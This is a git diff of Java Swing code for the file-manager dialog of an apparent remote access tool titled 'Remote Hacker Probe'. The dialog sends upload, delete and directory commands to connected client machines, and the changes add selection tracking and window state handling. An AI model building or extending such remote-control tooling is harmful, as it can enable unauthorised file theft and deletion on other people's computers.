51
51
import javax .swing .JComboBox ;
52
52
53
53
54
+
55
+
54
56
class IconRenderer extends DefaultListCellRenderer {
55
57
58
+
56
59
String [] video_ext = {
57
60
"mp4" ,
58
61
"avi" ,
@@ -253,14 +256,29 @@ else if(Arrays.asList(txt).contains(ext))
253
256
254
257
255
258
public class FileManager extends JDialog {
259
+
260
+
256
261
257
262
public final static JPanel contentPanel = new JPanel ();
258
263
static JList FileList ;
259
264
public int CLIENT_ID ;
265
+ public static StringBuilder SelectedFile = new StringBuilder ("" );
260
266
public static JTextField textField ;
261
267
public static DefaultListModel model ;
262
268
public static List <String > driveslist = new ArrayList <String >();
269
+
270
+ public static Boolean FileMgrOpen = false ;
271
+
272
+ public static void DisableFileManager ()
273
+ {
274
+ FileManager .FileList .setEnabled (false );
275
+ }
263
276
277
+ public static void EnableFileManager ()
278
+ {
279
+ FileManager .FileList .setEnabled (true );
280
+ }
281
+
264
282
/**
265
283
* Create the dialog.
266
284
*/
@@ -278,6 +296,8 @@ void Refresh()
278
296
279
297
280
298
public FileManager () {
299
+
300
+ MainWindow .HaltAllSystems ();
281
301
setDefaultCloseOperation (JDialog .DISPOSE_ON_CLOSE );
282
302
setTitle ("Remote Hacker Probe | File Manager" );
283
303
setBounds (100 , 100 , 761 , 410 );
@@ -318,6 +338,8 @@ public void actionPerformed(ActionEvent e) {
318
338
String File = (String ) FileList .getSelectedValue ();
319
339
if (!File .startsWith ("(^)" )) {
320
340
String filename = File .replaceAll ("\\ (.*?\\ ) ?" , "" );
341
+ SelectedFile .replace (0 , SelectedFile .length (), filename );
342
+
321
343
Server .SendData (Server .Clients .get (CLIENT_ID ), "fupload:" +filename );
322
344
ServerThread .WaitForReply ();
323
345
}
@@ -390,6 +412,7 @@ public void actionPerformed(ActionEvent e) {
390
412
{
391
413
String File = (String ) FileList .getSelectedValue ();
392
414
if (!File .startsWith ("(^)" )) {
415
+ SelectedFile .replace (0 , SelectedFile .length (), File );
393
416
String filename = File .replaceAll ("\\ (.*?\\ ) ?" , "" );
394
417
Server .SendData (Server .Clients .get (CLIENT_ID ), "delete:" +filename );
395
418
ServerThread .WaitForReply ();
@@ -416,6 +439,7 @@ public void mouseClicked(MouseEvent evt) {
416
439
String dir = (String ) FileList .getSelectedValue ();
417
440
if (dir .startsWith ("(^)" )) {
418
441
String Dirname = dir .replace ("(^) " , "" );
442
+ SelectedFile .replace (0 , SelectedFile .length (), dir );
419
443
Server .SendData (Server .Clients .get (CLIENT_ID ), "cd" );
420
444
Server .SendData (Server .Clients .get (CLIENT_ID ), Dirname );
421
445
Refresh ();
@@ -438,6 +462,7 @@ public void actionPerformed(ActionEvent e) {
438
462
btnGo .addActionListener (new ActionListener () {
439
463
public void actionPerformed (ActionEvent e ) {
440
464
String Dirname = textField .getText ();
465
+ SelectedFile .replace (0 , SelectedFile .length (), Dirname );
441
466
Server .SendData (Server .Clients .get (CLIENT_ID ), "cd" );
442
467
Server .SendData (Server .Clients .get (CLIENT_ID ), Dirname );
443
468
Refresh ();
@@ -505,6 +530,12 @@ public void actionPerformed(ActionEvent e) {
505
530
public void windowOpened (WindowEvent we ) {
506
531
Server .SendData (Server .Clients .get (CLIENT_ID ), "listdir" );
507
532
}
533
+
534
+ @ Override
535
+ public void windowClosed (WindowEvent we ) {
536
+ FileMgrOpen = false ;
537
+ MainWindow .EnableAllSystems ();
538
+ }
508
539
});
509
540
}
510
541
}
0 commit comments